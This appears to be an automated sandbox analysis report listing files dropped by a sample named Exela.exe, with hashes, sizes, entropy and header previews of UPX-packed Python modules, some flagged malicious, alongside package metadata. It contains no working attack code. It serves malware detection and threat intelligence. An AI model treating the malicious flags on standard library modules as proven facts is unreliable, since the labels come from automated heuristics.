SSDEEP:	3072:gzsRxWJXVyOgbHffu+MLtWH/WSWXb01KQiID5q1CAt6xN:HU/gbHfW6WSWLplCuG
MD5:	E9501519A447B13DCCA19E09140C9E84
SHA1:	472B1AA072454D065DFE415A05036FFD8804C181
SHA-256:	6B5FE2DEA13B84E40B0278D1702AA29E9E2091F9DC09B64BBFF5FD419A604C3C
SHA-512:	EF481E0E4F9B277642652CD090634E1C04702DF789E2267A87205E0FE12B00F1DE6CDD4FAFB51DA01EFA726606C0B57FCB2EA373533C772983FC4777DC0ACC63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\F1S.'_..'_..'_.._...'_..\^..'_..\Z..'_..\[..'_..\\..'_..\^..'_..U^..'_..'^..'_..\\..'_..\R..'_..\_..'_..\...'_..\]..'_.Rich.'_.................PE..d...k.Vc.........." ...!.p.......... ........................................0............`..........................................,..P....)....... ..........H'...........-...................................... ...@...........................................UPX0....................................UPX1.....p.......h..................@....rsrc........ .......l..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34688
Entropy (8bit):	7.676872991541861
Encrypted:	false
SSDEEP:	768:YA1cXZ83zNDKJ/KDQI5zbp61ypRcTID5IubYiSyvaPxWEw:YwnzKUQ+p6mcTID5Iub7SyiPx
MD5:	0629BDB5FF24CE5E88A2DDCEDE608AEE
SHA1:	47323370992B80DAFB6F210B0D0229665B063AFB
SHA-256:	F404BB8371618BBD782201F092A3BCD7A96D3C143787EBEA1D8D86DED1F4B3B8
SHA-512:	3FAEFF1A19893257C17571B89963AF37534C189421585EA03DD6A3017D28803E9D08B0E4DACEEE01FFEDA21DA60E68D10083FE7DBDBBDE313A6B489A40E70952
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A.g...g...g.......g..V....g..V....g..V....g..V....g..X....g.......g.......g...g..Qg..X....g..X....g..X.l..g..X....g..Rich.g..........................PE..d...u.Vc.........." ...!.P..........@ .......................................@............`..........................................;..P....9.......0..........,............;......................................@,..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86400
Entropy (8bit):	7.925569108441777
Encrypted:	false
SSDEEP:	1536:n8mFQO4KV4FqKFztYJgYFlXeppHFEtnp8bacIUmDIDe1Ye7SyOePx:cO4KV0qKTYhFlupdQ8WLvIDe1Yehx
MD5:	BFCA96ED7647B31DD2919BEDEBB856B8
SHA1:	7D802D5788784F8B6BFBB8BE491C1F06600737AC
SHA-256:	032B1A139ADCFF84426B6E156F9987B501AD42ECFB18170B10FB54DA0157392E
SHA-512:	3A2926B79C90C3153C88046D316A081C8DDFB181D5F7C849EA6AE55CB13C6ADBA3A0434F800C4A30017D2FBAB79D459432A2E88487914B54A897C4301C778551
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........X...6D..6D..6D..D..6D@.7E..6D@.3E..6D@.2E..6D@.5E..6DN.7E..6D..7E..6D..7D..6DN.;E..6DN.6E..6DN..D..6DN.4E..6DRich..6D........PE..d...~.Vc.........." ...!. ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25976
Entropy (8bit):	7.49061594497297
Encrypted:	false
SSDEEP:	768:5y6HNbpr+8C6DJbpwDnIDRtuyYiSyvg7PxWEwm:b9+8FDgDnIDRtuy7SyI7Px7
MD5:	849B4203C5F9092DB9022732D8247C97
SHA1:	ED7BD0D6DCDCFA07F754B98ACF44A7CFE5DCB353
SHA-256:	45BFBAB1D2373CF7A8AF19E5887579B8A306B3AD0C4F57E8F666339177F1F807
SHA-512:	CC618B4FC918B423E5DBDCBC45206653133DF16BF2125FD53BAFEF8F7850D2403564CF80F8A5D4ABB4A8928FF1262F80F23C633EA109A18556D1871AFF81CD39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w*.\|.y.\|.y.\|.y...y.\|.y...x.\|.y...x.\|.y...x.\|.y...x.\|.y...x.\|.y.\|.y.\|.yY..x.\|.y...x.\|.y...x.\|.y...y.\|.y...x.\|.yRich.\|.y................PE..d...c.Vc.........." ...!.0..........`.....................................................`.........................................4...`....................`......................................................p...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31616
Entropy (8bit):	7.623702028566422
Encrypted:	false
SSDEEP:	768:r1y7nuEu7eOHtaqrSNHrp9LhIDstetYiSyvYPxWEwW:YruEuiON7raHfLhIDstet7SywPx
MD5:	97A40F53A81C39469CC7C8DD00F51B5D
SHA1:	6C3916FE42E7977D8A6B53BFBC5A579ABCF22A83
SHA-256:	11879A429C996FEE8BE891AF2BEC7D00F966593F1E01CA0A60BD2005FEB4176F
SHA-512:	02AF654AB73B6C8BF15A81C0E9071C8FAF064C529B1439A2AB476E1026C860CF7D01472945112D4583E5DA8E4C57F1DF2700331440BE80066DBB6A7E89E1C5AF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hW{..9(..9(..9(.q.(..9(.r8)..9(.r<)..9(.r=)..9(.r:)..9(.r8)..9(..8(..9(S{8)..9(S{=)..9(.r4)..9(.r9)..9(.r.(..9(.r;)..9(Rich..9(........PE..d...e.Vc.........." ...!.P..........@........................................ ............`.........................................x...X...........................................................................P...@...........................................UPX0....................................UPX1.....P.......B..................@....rsrc................F..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24960
Entropy (8bit):	7.454617838702341
Encrypted:	false
SSDEEP:	384:c90Psz9rLZgNhzHjlnwX1hZa7gJXjDID7UuNBIYiSy1pCQYIPxh8E9VF0Nyb9:cjihFn43pzDID7Uu4YiSyv7PxWER
MD5:	0614691624F99748EF1D971419BDB80D
SHA1:	39C52450ED7E31E935B5B0E49D03330F2057747D
SHA-256:	AC7972502144E9E01E53001E8EEC3FC9AB063564678B784D024DA2036BA7384D
SHA-512:	184BC172C7BB8A1FB55C4C23950CBE5E0B5A3C96C1C555ED8476EDF79C5C729ED297112EE01B45D771E5C0055D2DC402B566967D1900B5ABF683EE8E668C5B26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........MX..#...#...#.......#..."...#...&...#...'...#... ...#..."...#.Q."...#..."...#.......#...#...#.......#...!...#.Rich..#.........................PE..d...d.Vc.........." ...!.0................................................................`.............................................L.......P............`..............<...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42872
Entropy (8bit):	7.71252337640455
Encrypted:	false
SSDEEP:	768:2Q8MABQICeXD2rh0LklHwh20hpJ72IDQwzFDYiSyvGPxWERfsxi:2TieXEhow072IDQwzFD7Sy+Px3sxi
MD5:	04E7EB0B6861495233247AC5BB33A89A
SHA1:	C4D43474E0B378A00845CCA044F68E224455612A
SHA-256:	7EFE25284A4663DF9458603BF0988B0F47C7DCF56119E3E853E6BDA80831A383
SHA-512:	D4EA0484363EDF284AC08A1C3356CC3112D410DD80FE5010C1777ACF88DBD830E9F668B593E252033D657A3431A79F7B68D09EB071D0C2CEB51632DBE9B8ED97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w................................................$...............y.......$.......$.......$.......$.......Rich............................PE..d...s.Vc.........." ...!.p...........m....................................................`.............................................P.......h............ ..x...........X........................................y..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56192
Entropy (8bit):	7.831040417505209
Encrypted:	false
SSDEEP:	1536:qfDL703/MAe3F53jYTG3vy+1MNLjZVID5QjI7SyBPx:kD03/MHbH6+eL/ID5QjIXx
MD5:	D9EEEEACC3A586CF2DBF6DF366F6029E
SHA1:	4FF9FB2842A13E9371CE7894EC4FE331B6AF9219
SHA-256:	67649E1E8ACD348834EFB2C927AB6A7599CF76B2C0C0A50B137B3BE89C482E29
SHA-512:	0B9F1D80FB92C796682DBA94A75FBCE0E4FBEAEDCCD50E21D42D4B9366463A830109A8CD4300AA62B41910655F8CA96ECC609EA8A1B84236250B6FD08C965830
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......pU..44..44..44..=Ls.04...O.64...O..54...O.94...O.<4...O.74...O.14...F.64..44.15...O.=4...O..54...O..54...O.54..Rich44..........................PE..d.....Vc.........." ...!.........`..P....p...................................0............`..........................................+..P....)....... .......................+..$...................................P...@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	62336
Entropy (8bit):	7.846104968038435
Encrypted:	false
SSDEEP:	1536:I6ll/oOM5AGIyI1asq3YGDTgzOordBQkJIDt7o7/7Syi/Px:d/6AGLIcsq3YGn0ZQuIDt7ojEHx
MD5:	FD0F4AED22736098DC146936CBF0AD1D
SHA1:	E520DEF83B8EFDBCA9DD4B384A15880B036EE0CF
SHA-256:	50404A6A3DE89497E9A1A03FF3DF65C6028125586DCED1A006D2ABB9009A9892
SHA-512:	C8F3C04D87DA19041F28E1D474C8EB052FE8C03FFD88F0681EF4A2FFE29755CFD5B9C100A1B1D2FDB233CB0F70E367AF500CBD3CD4CE77475F441F2B2AA0AB8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B3"..RL,.RL,.RL,.*.,.RL,.)M-.RL,.)I-.RL,.)H-.RL,.)O-.RL,.)M-.RL,b(M-.RL,.RM,.SL,. M-.RL,.)A-.RL,.)L-.RL,.).,.RL,.)N-.RL,Rich.RL,........................PE..d.....Vc.........." ...!............0.....................................................`.........................................p...d....................P......................................................@...@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22400
Entropy (8bit):	7.3532819751791
Encrypted:	false
SSDEEP:	384:MKbjUslT27KvpCuNZa7gJXTkIDewOYKIYiSy1pCQIJPxh8E9VF0NyYk:MIj3ltLNpDkIDewO6YiSyvWPxWEW
MD5:	3377AE26C2987CFEE095DFF160F2C86C
SHA1:	0CA6AA60618950E6D91A7DEA530A65A1CDF16625
SHA-256:	9534CB9C997A17F0004FB70116E0141BDD516373B37BBD526D91AD080DAA3A2B
SHA-512:	8E408B84E2130FF48B8004154D1BDF6A08109D0B40F9FAFB6F55E9F215E418E05DCA819F411C802792A9D9936A55D6B90460121583E5568579A0FDA6935852EE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Rp^.<#^.<#^.<#W..#\.<#..="\.<#..9"R.<#..8"V.<#..?"].<#..="\.<#..="[.<#^.=#t.<#..4"_.<#..<"_.<#...#_.<#..>"_.<#Rich^.<#................PE..d...e.Vc.........." ...!. .......`.......p................................................`.........................................8...L....................@..........................................................@...........................................UPX0.....`..............................UPX1..... ...p......................@....rsrc................"..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_helpers.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27136
Entropy (8bit):	7.693716350158679
Encrypted:	false
SSDEEP:	384:XQdVWwViGwdnG0o2JAP2XSc4oX3vkULZjlvPM2YZa7gJXnfV:Ad0EipntaRDoX3vkULZ0pv
MD5:	09B11699CDBA4BC48CC6885A87AF625A
SHA1:	4F2882A14AEA02B8FBF880485F19C43BA1F853AD
SHA-256:	F6FE3A897A1D55E7F5DE95F81EA6FCBC791329D6EAEF6F33EB4227043B87ADC1
SHA-512:	C74C8CAFFD7B4C04828A0FF13EFFFE35FEEB28917BED80179B1A4A9E8750C2E2156CE1307FB737EFD8B4BF6CE2FDA09B301BF33AC216045CF7638681DB2D3368
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z29X.SW..SW..SW..+...SW..,V..SW.U+V..SW..,R..SW..,S..SW..,T..SW.$.V..SW..SV..SW.$._..SW.$.W..SW.$...SW.$.U..SW.Rich.SW.........................PE..d......e.........." ...%.p...........C.......................................p............`.........................................@b..`....`..P....`.......................b..$....................................O..@...........................................UPX0....................................UPX1.....p.......b..................@....rsrc........`.......f..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_parser.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.9353741019489705
Encrypted:	false
SSDEEP:	1536:4FIPjnlL32iiGJpS0Z+UxiExV0/bER75h53U4nOlI4:80peGNZ+iagJ5h53s
MD5:	F1F62B84C0B35781907BB21592BC4505
SHA1:	FE87D2FFAD8CE88DB37BAFCC99D81A217A08AB9F
SHA-256:	D0DDA39645E4C7077FFB31B51A20765406C4D93A2DF4D1813ED7EE639D9C002A
SHA-512:	B901B769802C1D5C9DD2CFA2585386FA1C3D824A335262C9306DA2AA01924E52D132C20B913940A1CF9D27251C041B5470AA652B4E6A072A7644D328DC270923
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............t.Q.t.Q.t.Q...Q.t.Q...P.t.Q...P.t.Q..P.t.Q.t.QIt.Q...P.t.Q...P.t.Q...P.t.Q..P.t.Q..P.t.Q..}Q.t.Q..P.t.QRich.t.Q........................PE..d......e.........." ...%.0.......P.......`................................................`.............................................h................... .........................................................@...........................................UPX0.....P..............................UPX1.....0...`...0..................@....rsrc................4..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_writer.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	7.661905261398898
Encrypted:	false
SSDEEP:	384:GiunSGZm7hiJD/0PBnll7Y7KdZ/Lxm1/dnRo4KiVU7C8/4bKSAHZa7gJX4PGV:Gn1IliJDi5lW250VU7C8DS0pG
MD5:	4D3A451A342357750063C159CD2757CF
SHA1:	EB2D48A21B4A71279D3BE521E7B6DB2F39E1C435
SHA-256:	8EC1721DF7AD36C7F770E7A7A5B0E4A0016D9CEFC349148E8C28220D58619FCF
SHA-512:	4378ADC0546A4ED430EE2CBB14FBB62424C7C135335E0DFF8A677991105F5A83DDF4B36C694AE6FE473DA20B88182361274E27FD71A5B20CE2F01D4E36963ED3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j29T.SW..SW..SW.'+..,SW.;,V.,SW.e+V.,SW.;,R."SW.;,S.&SW.;,T.-SW...V.-SW..SV..SW..._./SW...W./SW..../SW...U./SW.Rich.SW.................PE..d......e.........." ...%.`...........k... ................................................`.........................................@...h.......P............ ..$....................................................w..@...........................................UPX0....................................UPX1.....`... ...Z..................@....rsrc................^..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_websocket.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.578746674923
Encrypted:	false
SSDEEP:	384:p5nVmLcfRdmmokNVjFEci6Vnqz4hmlxjP/dHZa7gJXLh:A2RdmxkzT904hwBp7
MD5:	791D5C587C717986B9F43BCB197B9E18
SHA1:	3E460EFE0AEAB8F776658C3B776FB148650FE5F2
SHA-256:	5D74710030F51EEE0E7B4DE7B53EC45B552F01C2016767EA12038D0E23999896
SHA-512:	785BC62A274E05E315A278B143AFC6B597444BA61D420A4A2C2DCD7C46B08AB03AECA42429B6C6E8D548405E1602AEB24312F85878F12AB19CEA0985DAE28131
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z29[.SW..SW..SW..+...SW..,V..SW.U+V..SW..,R..SW..,S..SW..,T..SW.$.V..SW..SV..SW.$._..SW.$.W..SW.$...SW.$.U..SW.Rich.SW.........................PE..d......e.........." ...%.P..........`.....................................................`.........................................@...d.......P...............4...................................................`...@...........................................UPX0....................................UPX1.....P.......F..................@....rsrc................J..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (367)
Category:	dropped
Size (bytes):	9531
Entropy (8bit):	5.159292758435694
Encrypted:	false
SSDEEP:	192:LisUYxxPRtXLt5D6kyEqOmoKTYoEJdQ/0GmlWEx+VqAJk6O8mEISuJ5LdYDE:LisTdHyEqHoKtgAml9rAvOsFuJ5L2DE
MD5:	E32D387A89F0114B8F9B9A809905299D
SHA1:	A055C9FBF5416C83D5150D49CA16C58762B8B84A
SHA-256:	5B0BC6ECE1F22A310FA72154642098B759F413F09CA9D45BEDB96218475C9BE0
SHA-512:	6EEE3E19AF46A79E2110678F8D3D15EA4B2EB1355D0FC9581DA2C8E91D28926A2771394EA447E15CBC311A9DD9DE2A20E2AC0E0ABF9DB6D4D51982199A12E881
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: attrs.Version: 23.2.0.Summary: Classes Without Boilerplate.Project-URL: Documentation, https://www.attrs.org/.Project-URL: Changelog, https://www.attrs.org/en/stable/changelog.html.Project-URL: GitHub, https://github.com/python-attrs/attrs.Project-URL: Funding, https://github.com/sponsors/hynek.Project-URL: Tidelift, https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi.Author-email: Hynek Schlawack <hs@ox.cx>.License-Expression: MIT.License-File: LICENSE.Keywords: attribute,boilerplate,class.Classifier: Development Status :: 5 - Production/Stable.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Languag

C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3555
Entropy (8bit):	5.799512812060909
Encrypted:	false
SSDEEP:	96:QixWFmx02/o/+chE6dwB1NbXmUuAqG2WXJARGD+qLtxO:qMJchiRXnuA/XJSiO
MD5:	0461AB56C7D588C2D9596F91E16658EC
SHA1:	013E2923CAC817D68EE9ECF9A812E41707C4C7FD
SHA-256:	A6DE30062543C20B137871403F784F12622118583313E9288A9389C005DE59AF
SHA-512:	DD217FCCDD005EC00C34621EDD879A6DAC57F11065DDD628D0166FC3F2D78F32E282CCA86AEAB71D80928D834657A1E1D8D704F2A3BEF98410EE2D2E614A9590
Malicious:	false
Preview:	attr/__init__.py,sha256=WlXJN6ICB0Y_HZ0lmuTUgia0kuSdn2p67d4N6cYxNZM,3307..attr/__init__.pyi,sha256=u08EujYHy_rSyebNn-I9Xv2S_cXmtA9xWGc0cBsyl18,16976..attr/__pycache__/__init__.cpython-311.pyc,,..attr/__pycache__/_cmp.cpython-311.pyc,,..attr/__pycache__/_compat.cpython-311.pyc,,..attr/__pycache__/_config.cpython-311.pyc,,..attr/__pycache__/_funcs.cpython-311.pyc,,..attr/__pycache__/_make.cpython-311.pyc,,..attr/__pycache__/_next_gen.cpython-311.pyc,,..attr/__pycache__/_version_info.cpython-311.pyc,,..attr/__pycache__/converters.cpython-311.pyc,,..attr/__pycache__/exceptions.cpython-311.pyc,,..attr/__pycache__/filters.cpython-311.pyc,,..attr/__pycache__/setters.cpython-311.pyc,,..attr/__pycache__/validators.cpython-311.pyc,,..attr/_cmp.py,sha256=OQZlWdFX74z18adGEUp40Ojqm0NNu1Flqnv2JE8B2ng,4025..attr/_cmp.pyi,sha256=sGQmOM0w3_K4-X8cTXR7g0Hqr290E8PTObA9JQxWQqc,399..attr/_compat.py,sha256=QmRyxii295wcQfaugWqxuIumAPsNQ2-RUF82QZPqMKw,2540..attr/_config.py,sha256=z81Vt-GeT_2taxs1XZfmHx9TWlSxjP

C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.699003560068366
Encrypted:	false
SSDEEP:	3:RtEeXAaCTUhvhjP+tPCCfA5I:Rt2PYhvxWBB3
MD5:	C58F7D318BAA542F6BFD220F837AB63F
SHA1:	F655FC3C0EB1BF12629C5750B2892BD896C3E7D9
SHA-256:	99161210BDC887A8396BF095308730885FFFD007B8FE02D8874D5814DC22AB59
SHA-512:	3DA6980A39C368AB7F7527FCD5FCDAA9D321060174BAAE163BF73F8052A2AC1A73F476C3882855965DFC2CB13C7C3EC1A012882201389DAC887F9BE59540C80F
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: hatchling 1.21.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI80682\attrs-23.2.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.104415762129373
Encrypted:	false
SSDEEP:	24:bGf8rUrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bW8rUaJHlxE3dQHOs5exm3ogFh
MD5:	5E55731824CF9205CFABEAB9A0600887
SHA1:	243E9DD038D3D68C67D42C0C4BA80622C2A56246
SHA-256:	882115C95DFC2AF1EEB6714F8EC6D5CBCABF667CAFF8729F42420DA63F714E9F
SHA-512:	21B242BF6DCBAFA16336D77A40E69685D7E64A43CC30E13E484C72A93CD4496A7276E18137DC601B6A8C3C193CB775DB89853ECC6D6EB2956DEEE36826D5EBFE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Hynek Schlawack and the attrs contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\_MEI80682\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1439447
Entropy (8bit):	5.58639468240011
Encrypted:	false
SSDEEP:	24576:6QRqL5TPAxNWlUKdcubgAnj90H0AWfh7dYMbP/Medfw:6QRqL2xNbeA
MD5:	83D235E1F5B0EE5B0282B5AB7244F6C4
SHA1:	629A1CE71314D7ABBCE96674A1DDF9F38C4A5E9C
SHA-256:	DB389A9E14BFAC6EE5CCE17D41F9637D3FF8B702CC74102DB8643E78659670A0
SHA-512:	77364AFF24CFC75EE32E50973B7D589B4A896D634305D965ECBC31A9E0097E270499DBEC93126092EB11F3F1AD97692DB6CA5927D3D02F3D053336D6267D7E5F
Malicious:	false
Preview:	PK..........!. ..y............_collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography-42.0.5.dist-info\LICENSE

